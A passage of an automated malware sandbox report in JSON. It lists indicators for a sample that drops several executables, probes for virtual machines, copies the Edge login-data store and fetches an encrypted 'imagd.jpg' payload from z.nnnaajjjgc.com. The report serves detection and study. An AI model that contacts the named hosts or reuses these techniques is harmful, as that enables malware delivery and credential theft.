reference to API \"InternetOpenW\" (Indicator: \"InternetOpen\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"InternetOpenA\" (Indicator: \"InternetOpen\"; File: \"latestplayer.exe.3695084506\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-539","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$47","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$48","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Network Related","name":"GETs files from a webserver (HTTPS)","description":"GET /sts/imagd.jpg HTTP/1.1User-Agent: HTTPREAD\n Host: z.nnnaajjjgc.com\n Cache-Control: no-cache\n\n GET /service/msn/livetile/singletile?market=en-US&source=appxmanifest&tenant=amp&vertical=sports HTTP/1.1Connection: Keep-Alive\n User-Agent: Microsoft-WNS/10.0\n Host: assets.msn.com\n\n GET /service/msn/livetile/singletile?market=en-US&source=appxmanifest&tenant=amp&vertical=finance HTTP/1.1Connection: Keep-Alive\n User-Agent: Microsoft-WNS/10.0\n Host: assets.msn.com","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Network Related","name":"HTTP request contains Base64 encoded artifacts","description":"$49","origin":"Network Traffic","mitre_attack_id":"T1132.001","relevance":7,"id":"network-20","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS GET request to https://z.nnnaajjjgc.com/sts/imagd.jpg\n Found HTTPS GET request to https://assets.msn.com/service/msn/livetile/singletile?market=en-US&source=appxmanifest&tenant=amp&vertical=sports\n Found HTTPS GET request to https://assets.msn.com/service/msn/livetile/singletile?market=en-US&source=appxmanifest&tenant=amp&vertical=finance","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"156.236.72.121\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - AES Encryption","description":"YARA signature for AES encryption matched on process \"00000000-00001296\"\n YARA signature for AES encryption matched on file \"imagd_1_.jpg\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-103","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLE520AEB61584C9F133C4795D51A41]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00000100.00000000.70938.00C30000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\".exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"aafg31.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"aafg31.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"8\"\n \"th32ProcessID\": \"5156\"}\n \"aafg31.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"8\"\n \"th32ProcessID\": \"5392\"}\n \"aafg31.exe\" called \"CreateToolhelp32Snapshot\" (UID: 00000000-00001296)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00005060)\n \"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00000100)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\".exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeff0300000002000000d8210000000001000600004f\"}\n \"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeff0300000002000000d8210000000001000600004f\"}\n \"powershell.exe\" called \"GetNativeSystemInfo\" (UID: 00000000-00005060)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00005060)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00000100)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API's typically used for searching a directory for a files","description":"$4a","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$4b","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to determine disk drive type (API string)","description":"Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveType\"; File: \"latestplayer.exe.3695084506\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-80","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindFirstFileExW\" (Indicator: \"FindFirstFile\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"FindNextFileA\" (Indicator: \"FindNextFile\"; File: \"toolspub2.exe.1363130796\")\n Found reference to API \"FindFirstFileW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$4c","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query registry keys (API string)","description":"Found reference to API \"RegOpenKeyExA\" (Indicator: \"RegOpenKey\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"RegQueryValueExA\" (Indicator: \"RegQueryValue\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"RegQueryValueExW\" (Indicator: \"RegQueryValue\"; Source: \"00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp\")\n Found reference to API \"RegGetValueW\" (Indicator: \"RegGetValue\"; Source: \"00000000-00000100.00000000.70938.01241000.00000002.mdmp\")\n Found reference to API \"RegOpenKeyExW\" (Indicator: \"RegOpenKey\"; Source: \"00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp\")\n Found reference to API \"RegEnumKeyExW\" (Indicator: \"RegEnumKey\"; Source: \"00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; File: \"latestplayer.exe.3695084506\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve SID for the specified name (API string)","description":"Found reference to API \"LookupAccountNameA\" (Indicator: \"LookupAccountName\"; File: \"latestplayer.exe.3695084506\")","origin":"File/Memory","mitre_attack_id":"T1087","relevance":1,"id":"string-452","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve data about the local computer (API string)","description":"Found reference to API \"InterlockedExchange\" (Indicator: \"InterlockedExchange\"; File: \"toolspub2.exe.1363130796\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":3,"id":"string-115","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$4d","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"GetComputerNameExW\" (Indicator: \"GetComputerName\"; File: \"latestplayer.exe.3695084506\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"toolspub2.exe.1363130796\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve usernames and/or user information (API string)","description":"Found reference to API \"LookupAccountNameA\" (Indicator: \"LookupAccountName\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"GetUserNameA\" (Indicator: \"GetUserName\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"GetUserObjectInformationW\" (Indicator: \"GetUserObjectInformation\"; File: \"toolspub2.exe.1363130796\")\n Found reference to API \"GetProcessWindowStation\" (Indicator: \"GetProcessWindowStation\"; File: \"toolspub2.exe.1363130796\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Imports GetCommandLine API","description":"Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: 31839b57a4f11171d6abc8bbc4451ee4.exe]\n Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: latestplayer.exe]\n Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: toolspub2.exe]","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References to WMI query strings used for information discovery","description":"Found string \"Select * from Win32_ComputerSystem\" (Indicator: \" Win32_ComputerSystem\"; File: \"e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.bin\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-507","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"31839b57a4f11171d6abc8bbc4451ee4.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00005024)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string \"\\Device\\HarddiskVolume2\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll\" (Indicator: \"\\Device\\\"; Source: \"00000000-00000100.00000000.70938.00C30000.00000004.mdmp\")\n Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00000100.00000000.70938.00C30000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"RemoveDirectoryA\" (Indicator: \"RemoveDirectory\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; File: \"toolspub2.exe.1363130796\")\n Found reference to API \"DeleteFileA\" (Indicator: \"DeleteFile\"; File: \"toolspub2.exe.1363130796\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"SeDebugPrivilege9\" (Indicator: \"SeDebugPrivilege\"; Source: \"00000000-00000100.00000000.70938.00C30000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"Found reference to API \"GetSidIdentifierAuthority\" (Indicator: \"GetSidIdentifierAuthority\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"GetSidSubAuthority\" (Indicator: \"GetSidSubAuthority\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"GetSidSubAuthorityCount\" (Indicator: \"GetSidSubAuthority\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"GetSidSubAuthorityCount\" (Indicator: \"GetSidSubAuthorityCount\"; File: \"latestplayer.exe.3695084506\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"aafg31.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"System Security","name":"Imports system security related APIs","description":"$4e","origin":"Static Parser","mitre_attack_id":"T1134.001","relevance":1,"id":"static-87","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$4f","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to multiple windows system processes","description":"Found strings \"smss.exe,csrss.exe,wininit.exe,winlogon.exe,services.exe\" (Source: \"00000000-00000100.00000000.70938.05DD0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":3,"id":"string-455","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"CreateMutexA\" (Indicator: \"CreateMutex\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"OpenMutexW\" (Indicator: \"OpenMutex\"; File: \"toolspub2.exe.1363130796\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops executable files inside temp directory","description":"\"31839b57a4f11171d6abc8bbc4451ee4.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"- Location: [%TEMP%\\31839b57a4f11171d6abc8bbc4451ee4.exe]- [targetUID: 00000000-00007196]\n \"aafg31.exe\" has type \"PE32+ executable (GUI) x86-64 for MS Windows\"- Location: [%TEMP%\\aafg31.exe]- [targetUID: 00000000-00007196]\n \"latestplayer.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"- Location: [%TEMP%\\latestplayer.exe]- [targetUID: 00000000-00007196]\n \"toolspub2.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"- Location: [%TEMP%\\toolspub2.exe]- [targetUID: 00000000-00007196]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-33","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"powershell.exe.log\" - Location: [%LOCALAPPDATA%\\Microsoft\\CLR_v4.0_32\\UsageLogs\\powershell.exe.log]- [targetUID: 00000000-00005060]\n Dropped file: \"e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.exe.log\" - Location: [%LOCALAPPDATA%\\Microsoft\\CLR_v4.0_32\\UsageLogs\\e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.exe.log]- [targetUID: 00000000-00007196]\n Dropped file: \"Login Data111\" - Location: [%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default\\Login Data111]- [targetUID: 00000000-00001296]\n Dropped file: \"efd4472504a0a448ca5f01377b87ca17\" - Location: [%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default\\Network\\efd4472504a0a448ca5f01377b87ca17]- [targetUID: 00000000-00001296]\n Dropped file: \"StartupProfileData-Interactive\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-Interactive]- [targetUID: 00000000-00005060]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files with image extension","description":"\"imagd_1_.jpg\" has type \"JPEG image data JFIF standard 1.01 aspect ratio density 1x1 segment length 16 baseline precision 8 1080x1440 components 3\" and extension \"jpg\"","origin":"Binary File","mitre_attack_id":"T1105","id":"binary-56","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.bin\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"\n \"31839b57a4f11171d6abc8bbc4451ee4.exe\" was detected as \"VC8 -> Microsoft Corporation\"\n \"latestplayer.exe\" was detected as \"VC8 -> Microsoft Corporation\"\n \"toolspub2.exe\" was detected as \"VC8 -> Microsoft Corporation\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Unusual Characteristics","name":"Possibly uses a Windows Server utility","description":"\"RuntimeBroker.exe\" (Indicator: \"runtimebroker.exe\")","origin":"File/Memory","relevance":10,"id":"string-65","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\".exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \".exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"toolspub2.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"31839b57a4f11171d6abc8bbc4451ee4.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"latestplayer.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file has unusual entropy sections","description":".text\n .reloc\n .data\n .data with unusual entropies 7.93206201634\n 0.101910425663\n 7.99780232834\n 7.22885298725","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":3,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to measure performance","description":"rdtsc at 8881-5330-004CD215","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":10,"id":"stream-6","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to query CPU information","description":"cpuid at 999-635-00402C60\n cpuid at 8881-2187-0044EF0D","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":10,"id":"stream-13","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve a module handle","description":"GetModuleHandleW@KERNEL32.dll at 999-2250-00416664","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":5,"id":"stream-121","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure","description":"GetStartupInfoW@KERNEL32.dll at 999-1481-0042387D\n GetStartupInfoW@KERNEL32.dll at 5302-1-00407DB2","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1543","relevance":5,"id":"stream-133","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"suspicious","category":"Environment Awareness","name":"Found a reference to a WMI query string known to be used for VM detection","description":"\"Select * from Win32_ComputerSystem\" (Indicator: \" win32_computersystem\"; File: \"e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.bin\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":10,"id":"string-55","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"suspicious","category":"Environment Awareness","name":"Possibly tries to implement anti-virtualization techniques","description":"\"vmware\" (Indicator: \"vmware\") in Source: e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.bin\n \"VirtualBox\" (Indicator: \"virtualbox\") in Source: e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.bin","origin":"File/Memory","mitre_attack_id":"T1497","relevance":4,"id":"string-1","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at 